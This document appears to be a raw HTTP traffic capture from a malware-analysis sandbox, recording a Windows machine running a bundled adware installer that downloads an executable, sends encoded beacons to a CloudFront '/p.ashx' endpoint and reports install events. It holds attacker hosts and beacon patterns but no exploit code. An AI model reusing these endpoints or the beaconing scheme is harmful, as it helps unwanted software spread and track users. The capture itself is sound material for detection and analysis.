re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..

GET /webplayer/flvplayer/32x32.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:44 GMT

Content-Type: image/x-icon

Content-Length: 4286

Last-Modified: Thu, 01 Nov 2012 15:08:11 GMT

Connection: close

ETag: "5092905b-10be"

Accept-Ranges: bytes

......  .... .........(... ...@..... ...... ..........................
!!!V""".!!!.""".""".""".""".""".""".""".""".!!!.!!!.   .   .   .   .!!
!.!!!.!!!.""".""".""".""".""".!!!.""".!!!V............""".............
......................................................................
..............................!!!.....!!!V............................
......................................................................
......................!!!V!!!.........................................
......................................................................
..........!!!.!!!.....................................................
....................................................................!!
!.""".........................................666.lll.................
iii.888.ZZZ.............................................""".""".......
..........................................................QQQ.........
....bbb....................................."""."""...................
..........ddd.KKK.........................888.........................
000............................."""."""...............................
..TTT.....................;;;.................................888.....
....................""".""".....................qqq.........>>&g
t;.................BBB.........................................$$$....
.................""".""".................FFF.............CCC..........
...LLL.........................ppp.jjj.^^^.aaa.....<<<.......
..............!!!.""".............***.................KKK.........

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: l5WU5qLf8aXam2Rt_LKjBEt6QkhlQHE4aV6nt1VulDCVbdIkzYaILA==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /p.ashx?e=XOxRKBm2zlxPNjxRBLtb40gvel0LAS5R/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/D0Q9sBWH0J0L9Jos6iHR4UCN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdJ/lupoMJFd0NrbGxnyQjvNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:50 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Od_yLv1WsRGV0o2kiCFj6AWK6flmTKv8KFEFLhLGnHN-k1RhlI3BMQ==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDLx4LqlY8hEo4G r 3F6T7Ej7pUpUaR2m63dcRg82sn2uhUFVg7kyER2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUWxdZ8eaJ96yZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 3a2siGp/9ya HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xrzEXYc5tqgI7ksqNBg8DBCqT9BAzEcnG18r4THM0yUIF41bYNp9tQ==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMAopJZj7S3tqAQy9IgZy5lJKYX3Ti/i3YMd/8r9q7HQVL3DDad46UzvECo8Sk7TI6jYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzia8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: __8w--V86kzUwxGyB8lvkb0XX9azieSC9nVgZYeZNdTxRf8-gVCDiQ==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBVBPfpXcC0NNCUHeR8YCF3HIVD2kslcMDwqofAqjkOQ/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLACUqzVu2beTdw7p1Os2HNN/PqtFiqCz 1wYEi/XN6GhI9emscNIpDc= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 8jG6MDYRYfF47q9JY3N9OqusshPtBhd3gLJwzykpU3NUheiev4Ex2Q==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMCkpZrNsvTHKpXcKSoKf7ImsTIe5wObHey9BKGIpZn1wUSPdqmKrASUhyTVM5SweuyLaVL7rfayRIISalCQEqW8pg74C01WzxrV d5ATxtITihLhamU02OW PtnLPXD7v1xxoz8JuXK7hXEOZ5u9SBfUCKG8Tszai3/QQobIMldOAUmCToGzJO3mE1Cb/I uCEIzzgG5sHJ7aitb9T2k1gSd7mFoc4Utgp3lKUo42BvPCdlJGm 5eEq4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVPW3Rb/o1mcbQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B  OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMDYmQbatAdAGMjKRY6Iofb7Uew8UljYWzcuazICVgT8r/43KRFxA3yGEwwxjLaXK3g1FfX12BNP4ozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: h1fAC1fiBgZQWX5t25ciqmblxdFzJ6LuVsYlu25I46RcXoJmNWcqvg==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMBgGShWQDHBOLQNwltuHU7XLtUlyKtO7SYPgAY8ePzFZz2k/iRtBvqTZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKz91b87PEh81qDvYQsnw8h0F8j6IEVY AKYVlfTtuYd1jWLmJ8TUNAw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:52 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wFsHqFvQbuQdzHOtGYzPA9Gk8FLgqJJnCnuSQoOkHl-X4qZMmKJf7Q==

....

GET /p.ashx?e=eISsn0A7mAZMV62Gsz5XOYsPvd/3cADj7OXLse4BafSoipMojeRGOY2 5cMBkwSY7USuWwSPUjaZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B OxIqKKmrvYKPuMdH9xkPFYS5k6/5B5fGfpAdqas2CD333RAvM0VMAmyeS/0faBVTdVMo67fxO0s IILilpWF0vmoXMQKU1KtudqV021AKZ2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jNYg3n/nM84mvCWkeRoBuc8AeJDgT7Zi0F/VPm5PDzJ8vVj3bGRolCRcTVXkFsGRg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WR3_o5pcP-W3Dyxh8bDGJuzlsQmsc56n7oNvEijnpOXa1TjxfjThOg==

....

GET /p.ashx?e=tRw/6OvIg RxQPEjIVQx7kxNKob3iHO1jA5kVqVgWdCjhQZFyVkCwhtIkRVrgKLwNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc8SCFqUzxEuK5pBCt6gYiqojy6bVP70jD51USgPV Fx3YCpHZc9ZUaHCsX Z/ryLWwQy9IgZy5lJKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -8olTVHOLe2ziNBuPDv-QYo5S_Y1od27QJOFQsdlOjTdW1RgIjhvyA==

....

GET /p.ashx?e=o4wkB1bL2nL0g02wEBPEIlLp3IjabDDYQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3L2dvkIonkcUMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOeeTfIsgvSooKSm/NUmuZILaKig fkRtZJjNgiw50h3MmrmNNWY3tq5nbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFeZZ3F95gs6nEVdjbbwQnHyVtB8erRBUENOEjHxDbSNxwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:15 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OGFP88QL8pUPMsq4JajGNel15i43qSZKI9LJ-2YIialPkRjPYgGG8A==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:15 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1
d1.cloudfront.net (CloudFront)..X-Amz-Cf-Id: OGFP88QL8pUPMsq4JajGNel15
i43qSZKI9LJ-2YIialPkRjPYgGG8A==......

GET /p.ashx?e=KC46TpkJIZxPNjxRBLtb4xAGvdm47Hzt/WD6e6SZIIGq9exvwYRubwRSl12vCJvFCM3NL4nDJo5OyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXRVWaKclJYCz b/YhL9w2PTXoMXpqBnYfcPSBQBQGVaTyBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0WbXyrZJeCBbudtVI2WoDYR/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7b5Y3ECtK0JRWF/5576o pi ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:54 GMT

X-Cache: Miss from cloudfront

Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1d1.cloudfront.net (CloudFront)

X-Amz-Cf-Id: MYVGOcj6ary31Vf5rygZXsRktP7M8aqILRHmzFu1eBXiKS1gX1ck7g==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:58:54 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 6a9941488f8c4d7cfc9d159decc6f1
d1.cloudfront.net (CloudFront)..X-Amz-Cf-Id: MYVGOcj6ary31Vf5rygZXsRkt
P7M8aqILRHmzFu1eBXiKS1gX1ck7g==..

GET /api/geo?callback=Beat1110013101208756507165_1423540823045&_=1423540823046 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: xs3hgr0g-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:22 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 95

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

Beat1110013101208756507165_1423540823045({"Country":"UA","Region":null
,"City":null,"ISP":null})HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015 04:00
:22 GMT..Content-Type: application/json; charset=utf-8..Content-Length
: 95..Connection: keep-alive..Cache-Control: private, no-store..X-AspN
et-Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2
..X-Cache: MISS..Beat1110013101208756507165_1423540823045({"Country":"
UA","Region":null,"City":null,"ISP":null})..

GET /ajax/libs/jquery/1.11.1/jquery.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: ajax.googleapis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 13 May 2014 02:26:31 GMT

Date: Mon, 09 Feb 2015 16:32:19 GMT

Expires: Tue, 09 Feb 2016 16:32:19 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33225

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 41282

Alternate-Protocol: 80:quic,p=0.02
............{w.../...."2[..-...9;.!^{..;. .ql...."../..H..|.[...F.....
...u...4....U..8..9...].y<yw......O.48y.......G.....2.w.j.N.\.=.x}.
/..fz>/.|..O...Ggr.L...U.<y..:Ow^.....jr.Xew......^..^mv.a.5.{.*
.[...0..;. ,......)....fu....O>.lV.......w.&...'..2.<..nFo....6.
.n.<.V.C..}...O.e.y..])?..p7 ..:.w..$.Fc.Eio..R9=..e......w.......?
|;Q.....h.....6.r...e.o.._~.Y....Q. .<.d.<......c...dI..;.rP....
........__=|..w...g.S..lg....ZG.g..*..~....B..7.P.._S.^........-z..j..
.EO.-.\..lw..t.......9?z.....n...n..f.?. l..zi<...n..4.U....n>.D
......s.w.........jeX.7.8..T.ULh$.|3.9k.........n..[...."A.]. ..E%....
,l..E...%%....m..*m.}.b...p...f.e...J...a.e.k.g.x..?..m..O..`Rl..c...~
.....f9..<.m..; ....w},g...|...^F....2..x...8..Q.2;:J.`.}cm.F......
..i#....y....h..O....w.~v...h1i.3...mz;...x...=..h..d3...s1...%..<.
.%........R.LW.....a....Wl_.~M.....:...(*.......,.....*".*;.. -.......
.<...(..J...v.(E.NO..V....R..N.j.....F.. ......K.1>=-?..0.J.6...
....|d....I.J.w.";...p.J5.4-.....&&T..........n.. y..Ao...q...W..Kz^..
...8{.;}.....q.....W.......z.lr.$."....\.........[*...Q..9......8.3WN7
....}S.-E:[email protected]).g.~o....u..{.U
...W.~.9}*[.m.A?...?=.\......{...-P.u.....o'^....~B..'S..{.[./."4.4...
.!..I2.,.M....N..B..V..u.w=/l..L..p&u8....`\.sh......x...x^6J'Z..Jt..^
h......M.).;.V)#}.......H.E>.E.6..n....X....V.............w.Y.Ld.W.
{C.`b.)-.7.X.!!....e0.4...t.L.N.',.`r..rA.../.k<..y.D F...d..7.|N$5
.........d.Q0W..}.....E..,....`.... .....s..(>..&....u..o|{..CC<<< skipped >>>

GET /ajax/libs/jquery/1.7.1/jquery.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: ajax.googleapis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT

Date: Tue, 03 Feb 2015 12:34:29 GMT

Expires: Wed, 03 Feb 2016 12:34:29 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 33186

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 573958

Alternate-Protocol: 80:quic,p=0.02
.............~.F....?......!J......7.......Y...h....w.T*.".Y.Y...|.D..
 (g..;.....b=q.8......?.....w.....>.......g{s.....2...........e. WK
?VI.h....~.<n...fy6.....e.z...8.{.U......(.. .e.8....V...}.[..|../.
......j-.~'...Q.....%Q.KV...Ec....q.{...x........*..^...^Vn........&_.
..~.....o.Z..~..^....{?.S..&.w.W.|A...r......t.../V.,.Dt.Pf...&yYLv.U.
.....r.Q}.^']...*W.:H.........~_=.r..s.^..T..=l.]..)Vj.......^.ys...x.
..C_.h..&............`.^b<.^:_m1'Y....c.....e..1Oo....q...q.x......
o...........?..q:..;.>.whu.....=.... . P..i...I..E.!..f.&v(.......m
...r...w~.SW.......6p>...........,.........Lsj...L7..j.......y..'.F
..h44..SY.V.......i.mw...4Yi.H{'.._..].9?...}..Jn................5Q%m.
y.,v.5U.(.^..\-.R...?^m."...7e..vy...b...L..%....]..f...l5>...nw.rY
x..|8..V.......0F..|4....<.q....d.(~...h....p.......q1.......y..ZF.
p1..;.^..W.Y...(.....<x.F...iI.t..n..p.-......w.p:..I.\.:x\...H..T.
j...../i..h....3....Y..w.......5...:..n.....U...]B..`.ZQ..nE}.....L..`
..A..W....C.\'......e^./.j\[...6.v."..u...-..K.3Tb....24>,..hD.R..&
lt;.F..q5C..vR.iO)Z.(..&T..v.Z#.. [email protected]..
.=Q...RZ ..SIt.}.....J.me.....Yq`..5......5.....28L..~.-L.=...b)M'..Gd
.....1..,.:H...f.....h..T. Q...~.|%#%....y....7....L......"QU.y0H...&l
t;.s....n....I'Z............A........K...k..2...P._..1Z...B..4~.&..h.o
{.y..q.......Z..R...l......&.....>....P.......&.;W.3...L......@$...
,....Q..U1..hC1.$ .;ByWj.M..... B=1....s_....:HP...&.7.&..>7.(=....
.P.b8...Q..Nw,...E........t;.4..`..._ F.P.......t....hm..w...Q....<<< skipped >>>

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=appshat_madness&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=4&index_in_screen=1&index_in_session=4&0.6678788560967368 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:52 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?0dd95828501dc5be HTTP/1.1

Connection: Keep-Alive

Accept: */*

